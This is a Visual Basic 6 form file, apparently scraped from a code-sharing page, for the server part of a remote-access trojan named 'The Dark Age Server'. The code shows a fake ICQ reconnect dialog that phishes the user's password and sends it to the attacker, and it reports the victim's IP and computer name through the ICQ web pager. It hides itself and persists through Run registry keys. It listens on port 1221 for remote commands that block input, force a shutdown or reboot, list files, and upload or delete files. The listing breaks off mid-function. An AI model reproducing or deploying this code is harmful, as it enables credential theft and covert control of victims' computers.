📄 server.frm
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "Mswinsck.ocx"
Begin VB.Form Server
BackColor = &H00E9CAB1&
BorderStyle = 0 'None
Caption = "Icq Registration"
ClientHeight = 2655
ClientLeft = 0
ClientTop = 0
ClientWidth = 4770
ControlBox = 0 'False
Icon = "Server.frx":0000
LinkTopic = "Form1"
ScaleHeight = 2655
ScaleWidth = 4770
ShowInTaskbar = 0 'False
StartUpPosition = 3 'Windows Default
Begin VB.TextBox TxtMatrix
BackColor = &H00000000&
BeginProperty Font
Name = "Fixedsys"
Size = 9
Charset = 178
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
ForeColor = &H0000FF00&
Height = 330
Left = 0
MultiLine = -1 'True
TabIndex = 4
Text = "Server.frx":27A2
Top = 2280
Visible = 0 'False
Width = 1335
End
Begin VB.TextBox TxtIcq
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 178
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 405
IMEMode = 3 'DISABLE
Left = 720
MultiLine = -1 'True
PasswordChar = "*"
TabIndex = 3
Top = 1560
Width = 3375
End
Begin VB.CommandButton CmdLogIn
Caption = "Log-In"
BeginProperty Font
Name = "Tahoma"
Size = 8.25
Charset = 178
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 2760
TabIndex = 1
Top = 2040
Width = 1455
End
Begin MSWinsockLib.Winsock Winsock2
Left = 4320
Top = 0
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin MSWinsockLib.Winsock WinSock1
Left = 3960
Top = 0
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.PictureBox Pic
AutoRedraw = -1 'True
BackColor = &H00CD8F96&
BorderStyle = 0 'None
Height = 480
Left = 240
Picture = "Server.frx":280F
ScaleHeight = 480
ScaleWidth = 480
TabIndex = 0
Top = 240
Width = 480
End
Begin VB.Label Label1
BackStyle = 0 'Transparent
Caption = "Icq was disconnected from the server and want you to enter your password to log-in again."
BeginProperty Font
Name = "Tahoma"
Size = 12
Charset = 178
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 1215
Left = 840
TabIndex = 2
Top = 240
Width = 3495
End
End
Attribute VB_Name = "Server"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim ReData As String, DirPath As String
Dim FileName As String, FileLenght As String
Dim pos As Long, HFile As Long
Dim ReadyForUpload As Boolean, FindNext As Long
Dim WFD As WIN32_FIND_DATA
Dim Reg As clsRegistry, DownFilePath As String
Dim FileDes As String
Dim ShInfo As SHFILEINFO
Private Sub CmdLogIn_Click()
WinSock1.SendData "IcqPassword|" + TxtIcq
Pic.Picture = LoadPicture()
Me.Hide
End Sub
Private Sub Form_Load()
'ICQ Pager'''''''''''''''''''''''''
On Error Resume Next
Dim cSend As String
Dim cData As String
Dim Pname As String
Pname = GetPcName
cData = "from=server.build10001+hangcomputer&fromemail=mail@from.com&subject=" & "The Dark Age Server is active on: " & Pname & "&body=" & "Victim Ip Address:" & WinSock1.LocalIP & "&to=<enter icq number here>" & "&Send=" & """"
cSend = "POST /scripts/WWPMsg.dll HTTP/1.0" & vbCrLf
cSend = cSend & "Referer: http://wwp.mirabilis.com" & vbCrLf
cSend = cSend & "User-Agent: Mozilla/4.06 (Win95; I)" & vbCrLf
cSend = cSend & "Connection: Keep-Alive" & vbCrLf
cSend = cSend & "Host: wwp.mirabilis.com:80" & vbCrLf
cSend = cSend & "Content-type: application/x-www-form-urlencoded" & vbCrLf
cSend = cSend & "Content-length: " & Len(cData) & vbCrLf
cSend = cSend & "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*" & vbCrLf & vbCrLf
cSend = cSend & cData & vbCrLf & vbCrLf & vbCrLf & vbCrLf
Winsock2.Tag = cSend
Winsock2.Connect "wwp.mirabilis.com", 80
'''''''''''''''''''''''''''''''''''''''''''''''''''''
WinSock1.LocalPort = 1221
WinSock1.Listen
Set Reg = New clsRegistry
Me.Hide
App.TaskVisible = False
If App.EXEName <> "dll_10001" Then
FileCopy App.Path + "\" + App.EXEName + ".exe", Environ("windir") + "\" + "dll_10001.exe"
Reg.CreateKey "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "SystemTray_01", Environ("windir") + "\" + "dll_10001.exe", "HKEY_LOCAL_MACHINE"
Reg.CreateKey "SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices", "SystemTray_01", Environ("windir") + "\" + "dll_10001.exe", "HKEY_LOCAL_MACHINE"
Me.Width = 1000: Me.Height = 1000: Me.Left = 10: Me.Top = 10
App.TaskVisible = True
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
WinSock1.Close: Winsock2.Close
End Sub
Private Sub WinSock1_Close()
WinSock1.Close
WinSock1.LocalPort = 1221
WinSock1.Listen
End Sub
Private Sub WinSock1_Connect()
WinTemp = TempPath
WinSock1.LocalPort = 1221
WinSock1.Listen
End Sub
Private Sub WinSock1_ConnectionRequest(ByVal requestID As Long)
If WinSock1.State <> sckClosed Then
WinSock1.Close
DoEvents
WinSock1.Accept requestID
End If
End Sub
Private Sub WinSock1_DataArrival(ByVal bytesTotal As Long)
WinSock1.GetData ReData
If ReadyForUpload = True Then Uploads
If ReData = "StartConnection" Then
Dim X As String: X = GetPcName
WinSock1.SendData " Status: Connected To " + UCase(X) + "."
ElseIf ReData = "IcqPassword" Then
Me.Left = 400: Me.Top = 400
Me.Width = 4770: Me.Height = 3135
Me.Show
ElseIf Left(ReData, 13) = "HangComputer\" Then
If Right(ReData, 3) = "On " Then BlockInput True
If Right(ReData, 3) = "Off" Then BlockInput False
ElseIf ReData = "SwapMouse" Then
SwapMouseButton (1)
WinSock1.SendData ("Info|Mouse Buttons swaped successfully...")
ElseIf ReData = "NormalMouse" Then
SwapMouseButton (0)
WinSock1.SendData ("Info|Mouse Buttons are in their normal state...")
ElseIf ReData = "LaunchCurSc" Then
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&
WinSock1.SendData "Info|Default Screen Saver was Launched..."
ElseIf ReData = "RebootWindows" Then
ReData = ExitWindowsEx(EWX_REBOOT Or EWX_FORCE, 0)
If ReData = 0 Then WinSock1.SendData ("Info|Victim's computer DIDN'T restart due of his system...") Else WinSock1.SendData ("Info|Victim Computer was rebooted...")
ElseIf ReData = "ShutdownWindows" Then
ReData = ExitWindowsEx(EWX_POWEROFF Or EWX_FORCE, 0)
If ReData = 0 Then WinSock1.SendData ("Info|Victim's computer DIDN'T shutdown due of his system...") Else WinSock1.SendData ("Info|Victim Computer was shutdown...")
ElseIf ReData = "LogOffWindows" Then
ReData = ExitWindowsEx(EWX_LOGOFF Or EWX_FORCE, 0)
If ReData = 0 Then WinSock1.SendData ("Info|Victim's computer DIDN'T logoff due of his system...") Else WinSock1.SendData ("Info|Victim Computer was rebooted...")
ElseIf ReData = "GetDrivers" Then
Dim Disknames As String * 255
Dim nDisk As Long
Dim Rev As Integer
Dim All As String
All = "Drivers|"
nDisk = GetLogicalDrives()
Rev = GetLogicalDriveStrings(255, Disknames)
disk = Split(Disknames, Chr(0), nDisk)
For Rev = LBound(disk) To UBound(disk)
If disk(Rev) = "" Then Exit For
All = All + "|" + disk(Rev)
Next Rev
WinSock1.SendData All
ElseIf Left(ReData, 10) = "TheMatrix\" Then
Me.Left = 0: Me.Top = 0
Me.Width = Screen.Width: Me.Height = Screen.Height
Me.BorderStyle = 0
TxtMatrix.Left = 0: TxtMatrix.Top = 0
TxtMatrix.Width = Me.Width: TxtMatrix.Height = Me.Height
TxtMatrix.Text = Right(ReData, Len(ReData) - 10)
TxtMatrix.Visible = True
Me.Show
ElseIf ReData = "OpenCD" Then
mciSendString "Set CDAudio Door Open", 0&, 0, 0
WinSock1.SendData ("Info|Cd-Rom door was opened...")
ElseIf ReData = "CloseCD" Then
mciSendString "Set CDAudio Door Closed", 0&, 0, 0
WinSock1.SendData ("Info|Cd-Rom door was closed...")
ElseIf Left(ReData, 11) = "UploadFile|" Then
WinSock1.SendData ("UploadFile|Ready")
ReadyForUpload = True
Dim ReArray
ReArray = Split(ReData, "|")
FileLenght = ReArray(1)
FileName = FileTitle(ReArray(2))
FileDes = ReArray(3)
On Error Resume Next
Kill FileDes + FileName
ElseIf Left(ReData, 12) = "GetFileList|" Then
DirPath = Right(ReData, Len(ReData) - 12)
WFD.cFileName = Empty: HFile = 0
HFile = FindFirstFile((DirPath + "*.*"), WFD)
If HFile <> -1 Then
If Left(WFD.cFileName, 1) = "." Then FindNext = FindNextFile(HFile, WFD)
If Left(WFD.cFileName, 2) = ".." Then FindNext = FindNextFile(HFile, WFD)
Dim MainValue As String, ReInfo As Long: Dim nFilename As String
nFilename = StripNulls(WFD.cFileName)
ReInfo = SHGetFileInfo(DirPath & nFilename, 0&, ShInfo, Len(ShInfo), BASIC_SHGFI_FLAGS Or SHGFI_SMALLICON)
MainValue = "FileList\" + nFilename & "\" & LCase(StripNulls(ShInfo.szTypeName)) & "\" & (WFD.nFileSizeLow + WFD.nFileSizeHigh)
Do
FindNext = FindNextFile(HFile, WFD)
If FindNext = 0 Then Exit Do
nFilename = StripNulls(WFD.cFileName)
ReInfo = SHGetFileInfo(DirPath & nFilename, 0&, ShInfo, Len(ShInfo), BASIC_SHGFI_FLAGS Or SHGFI_SMALLICON)
MainValue = MainValue & "\" & nFilename & "\" & LCase(StripNulls(ShInfo.szTypeName)) & "\" & (WFD.nFileSizeLow + WFD.nFileSizeHigh)
Loop Until FindNext = 0
FindClose (HFile)
WinSock1.SendData MainValue
Else
WinSock1.SendData "FileList\Nothing"
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -